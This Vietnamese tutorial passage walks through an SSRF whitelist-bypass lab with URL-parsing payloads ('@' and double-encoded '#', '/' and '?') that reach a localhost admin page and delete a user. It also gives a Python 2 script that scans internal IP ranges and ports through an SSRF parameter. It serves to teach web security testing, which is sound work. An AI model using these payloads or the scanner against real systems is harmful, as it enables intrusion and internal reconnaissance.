II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)
6. SSRF và bypass white-based input filters (tiếp)
6.2. Cài đặt cơ chế ngăn chặn white list dựa theo host (tiếp)
Cuối cùng, chúng ta hãy cùng đào sâu hơn một cách bypass cơ chế filter bằng cách kết hợp các kỹ thuật trên qua bài lab sau:
Phân tích lab SSRF with whitelist-based input filter
Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng trang web có một cơ chế ngăn chặn tấn công SSRF. Để giải quyết bài lab, chúng ta cần vượt qua cơ chế ngăn chặn này, truy cập vào trang quản trị viên tại http://localhost/admin
và thực hiện xóa tài khoản người dùng carlos.
Vẫn là giao diện quen thuộc, tham số stockApi
tại chức năng check stock truyền tới hệ thống một giá trị URL qua phương thức POST.
Thử thay giá trị stockApi=http://localhost/admin
Chúng ta nhận được thông báo: External stock check host must be stock.weliketoshop.net. Có thể hiểu hệ thống chỉ cho phép trang web truy xuất dữ liệu tại host stock.weliketoshop.net, hay nói cách khác stock.weliketoshop.net là một phần tử trong white list, bắt buộc xuất hiện trong giá trị stockApi
.
Như vậy chúng ta cần cố gắng tìm kiếm cách cài đặt cơ chế white list của trang web, thử cho phần tử white list stock.weliketoshop.net xuất hiện tại tham số: stockApi=http://abc-stock.weliketoshop.net
Chúng ta vẫn bị block, như vậy hệ thống không kiểm tra bằng cách trực tiếp tìm kiếm chuỗi white list trong stockApi
.
Bằng cách sử dụng ký tự @
, chúng ta có thể bypass qua cơ chế này: stockApi=abc@stock.weliketoshop.net
Thay abc thành localhost, bypass cơ chế white list nhưng không thể truy cập tới localhost:
Một cách khác có thể bypass là kết hợp ký tự #
và @
, trong đó thực hiện URL encode hai lần ký tự #
trở thành %2523
, có stockApi=http://abc%2523@stock.weliketoshop.net
Thay abc thành localhost, đã có thể truy cập vào localhost do response trả về status code :
Cả hai payload stockApi=http://localhost@stock.weliketoshop.net
và stockApi=http://localhost%2523@stock.weliketoshop.net
đều có thể bypass cơ chế ngăn chặn có thể do hệ thống sử dụng các hàm đặc biệt (chẳng hạn parse_url()
) để phân tích cú pháp URL. Còn lý do stockApi=http://localhost%2523@stock.weliketoshop.net
có thể truy cập thành công trang localhost có thể do đoạn code trả về nội dung trang web truy xuất sử dụng các hàm có định nghĩa phân tích host (chẳng hạn như thư viện cURL) không đồng nhất với các hàm sử dụng trong cơ chế ngăn chặn bằng white list. (Tham khảo thêm tại https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
Ngoài ra trong trường hợp bài lab này còn có một số cách bypass khác:
- Sử dụng
http://abc/@xyz
, payloadstockApi=http://localhost%252f@stock.weliketoshop.net
- Sử dụng
http://abc?@xyz
, payloadstockApi=http://localhost%253f@stock.weliketoshop.net
Về phần nguyên nhân các payload trên cũng hoạt động xin dành cho bạn đọc tìm hiểu nhé!
Truy cập tới trang /admin
Thực hiện xóa tài khoản người dùng carlos, bài lab hoàn thành:
7. Tấn công lỗ hổng SSRF scan ip, port server nội bộ
Lỗ hổng SSRF có thể được sử dụng để scan ip cũng như port đang mở của server nội bộ, từ đó xác định mục tiêu tấn công hoặc mở rộng cuộc tấn công tới các tài nguyên, server khác.
Chúng ta có thể sử dụng tính năng Intruder trong Burp Suite thực hiện scan, các bạn có thể xem lại bài lab Basic SSRF against another back-end system.
Ngoài ra, một cách tốt hơn là tự động hóa việc scan này bằng script. Ví dụ đoạn mã scan viết bằng ngôn ngữ Python 2 như sau:
import requests
import time ports = ['80', '1337', '3306', '6379', '8080', '8000']
session = requests.Session()
for i in xrange(255): ip = '192.168.1.%d' % i for port in ports: url = 'http://example.com/?url=http://%s:%s' % (ip, port) try: res = session.get(url, timeout = 3) if len(res.content) > 0: print ip, port, 'is open' except: continue
print 'DONE'
Giả sử trang web http://example.com
chứa lỗ hổng SSRF trong việc truyền tham số url
qua phương thức GET. Và chúng ta biết địa chỉ ip của server nội bộ nằm trong dải 192.168.1.X. Đoạn code trên thực hiện tìm kiếm ip từ 192.168.1.0 đến 192.168.1.255, mỗi ip scan các port thông dụng trong mảng ports
, từ đó tìm ra ip server nội bộ với các port đang mở.
Kết quả có dạng như sau:
Đối với các request được gửi ở phương thức POST, các bạn có thể lập trình script tương tự như trên.
Các tải liệu tham khảo
- https://portswigger.net/web-security/ssrf
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf